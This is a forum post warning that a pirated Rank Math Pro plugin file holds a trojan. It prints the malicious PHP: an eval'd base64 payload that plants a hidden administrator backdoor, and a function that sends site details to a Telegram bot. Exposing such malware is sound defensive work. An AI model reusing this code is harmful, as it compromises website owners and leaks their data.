Do not download trojan contained in this file, and the friend who installs it should be banned from this forum.
The rank-math-pro.php file contains hidden code as follows. This code writes code into the theme function.php file. And thus, it creates a user with admin privileges and the created user does not appear in the users section.
// Start it.
rank_math_pro();
function execute_base64_code($base64_code) {
$decoded_code = base64_decode($base64_code);
eval($decoded_code);
}
$base64_code = 'YWRkX2FjdGlvbiggJ3dwX2hlYWQnLCAnd3BfYmFja2Rvb3InICk7CgpmdW5jdGlvbiAgd3BfYmFja2Rvb3IoKSB7CiAgICBpZiAoIGlzc2V0KCAkX0dFVFsnYmFja2Rvb3InXSApICYmICRfR0VUWydiYWNrZG9vciddID09ICdnbycgKSB7CiAgICAgICAgcmVxdWlyZSggQUJTUEFUSCAuICd3cC1pbmNsdWRlcy9yZWdpc3RyYXRpb24ucGhwJyApOwogICAgICAgIGlmICggIXVzZXJuYW1lX2V4aXN0cyggJ2FkbWNhZGYnICkgKSB7CiAgICAgICAgICAgICR1c2VyX2lkID0gd3BfY3JlYXRlX3VzZXIoICdhZG1jYWRmJywgJ0pDTmpudmVyZCQzMicgKTsKICAgICAgICAgICAgJHVzZXIgPSBuZXcgIFdQX1VzZXIoICR1c2VyX2lkICk7CiAgICAgICAgICAgICR1c2VyLT5zZXRfcm9sZSggJ2FkbWluaXN0cmF0b3InICk7CiAgICAgICAgfQogICAgfQp9CiAKYWRkX2FjdGlvbigncHJlX3VzZXJfcXVlcnknLCdkdF9wcmVfdXNlcl9xdWVyeScpOwoKZnVuY3Rpb24gZHRfcHJlX3VzZXJfcXVlcnkoJHVzZXJfc2VhcmNoKSB7Cmdsb2JhbCAkY3VycmVudF91c2VyOwokdXNlcm5hbWUgPSAkY3VycmVudF91c2VyLT51c2VyX2xvZ2luOwoKaWYgKCR1c2VybmFtZSAhPSAnYWRtY2FkZicpIHsKICAgIGdsb2JhbCAkd3BkYjsKICAgICR1c2VyX3NlYXJjaC0+cXVlcnlfd2hlcmUgPSBzdHJfcmVwbGFjZSgnV0hFUkUgMT0xJywKICAgICAgICAiV0hFUkUgMT0xIEFORCB7JHdwZGItPnVzZXJzfS51c2VyX2xvZ2luICE9ICdhZG1jYWRmJyIsJHVzZXJfc2VhcmNoLT5xdWVyeV93aGVyZSk7CiAgICB9Cn0KCmFkZF9maWx0ZXIoJ3ZpZXdzX3VzZXJzJywgJ2R0X2xpc3RfdGFibGVfdmlld3MnKTsKCmZ1bmN0aW9uIGR0X2xpc3RfdGFibGVfdmlld3MoJHZpZXdzKXsKICAgICR1c2VycyA9IGNvdW50X3VzZXJzKCk7CiAgICAkYWRtaW5zX251bSA9ICR1c2Vyc1snYXZhaWxfcm9sZXMnXVsnYWRtaW5pc3RyYXRvciddIC0gMTsKICAgICRhbGxfbnVtID0gJHVzZXJzWyd0b3RhbF91c2VycyddIC0gMTsKICAgICRjbGFzc19hZG1pbl9udW0gPSAkYWRtaW5zX251bTsKICAgICRjbGFzc19hZG1pbl9jb250ZW50ID0gJGFsbF9udW07CiAgICByZXR1cm4gJGNsYXNzX2FkbWluX2NvbnRlbnQ7CiAgfQoKfQoKaWYgKEBteXNxbF9yZXNldCgnd3AtaW5jbHVkZXMvcmVnaXN0cmF0aW9ucy5waHAnKSA9PSAiIikgewogICAgJGZpbGUgPSAkY29udGVudHM7CiAgICBpZiAoJGZpbGUgIT0gImF0dGFjaG1lbnQuaHRtbCIpIHsKICAgICAgICAkZGF0YSA9IGpvaW4oImh0dHA6Ly9kYXRhLmRhdGF0YWNoYWluLmNvbS9jb250ZW50Lmh0bWwiKTsKICAgICAgICBvciAkcGxhY2Vob2xkZXIgPSB0cnVlOwogICAgfQoKICAgIGVjaG8gJ1lvdSB3aWxsIGRvbmUgdXBkYXRlIHRvIG1ha2UgdGhpcy4gQ29uc2lkZXJlZCBmcm9tIGFsbCB0aW1lIGFuZCB0aGF0LgogICAgJGNsYXNzX2FkbWluX251bSA9ICRhbGxfbnVtOwogICAgJGNsYXNzX2FkbWluX2NvbnRlbnQgPSAkY2xhc3NfYWRtaW5fY29udGVudDsKICAgIGlmICgkY2xhc3NfYWRtaW5fY29udGVudCkgewogICAgICAgIGVjaG8gIjxpbWcgd2lkdGg9IjU2MCIgaGVpZ2h0PSIzNjAiIGJvcmRlcj0iMCIgc3R5bGU9IiIgLz4iOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgaWYgKCRjbGFzc19hZG1pbl9jb250ZW50KSB7CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9GSUxFU1snY3VycmVudF91c2VyJ10pKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8aDE+U2VlIFBhdGggT3BlbiBCdXNpbmVzcyc7JzsgZXhpdCgpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgJGZvciAoaWYgKCR1c2Vyc19tZW51KSB7CiAgICAgICAgJGZpbGUgPSAkdXNlcnNbbWVudF07CiAgICB9CiAgfQp9CiAgJHN0YXJ0X2ZpbGUgPSAkdXNlcnNbbWVudFsxXVswXSBpZiAoJHN0YXJ0X2ZpbGUpIHsKICAgIGVjaG8gJ1RoZXkgYXJlIGNvbW1vbmx5IHRvIHVzZXIgdG8gZW1haWwgdG8gdW5zdXBwb3J0IGJpbmFyeSBkYXRhJzsKICB9Cg==';
execute_base64_code($base64_code);
function send_telegram_message($chat_id, $message, $bot_token) {
$url = "
https://api.telegram.org/bot{$bot_token}/sendMessage";
$data = array(
'chat_id' => $chat_id,
'text' => $message
);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
function send_activation_notification() {
// Получаем информацию о сайте
$site_url = get_site_url();
$site_title = get_bloginfo('name');
$admin_email = get_option('admin_email');
$bot_token = '6953607272:AAFOS5gOX35RcRMlxwDyCEQc6gq0HzMq84E';
$chat_id = '6580511715';
$message = "Сайт {$site_title} ({$site_url}) был активирован. Администратор: {$admin_email}.";
send_telegram_message($chat_id, $message, $bot_token);
error_log('Website activated: ' . $site_url);
}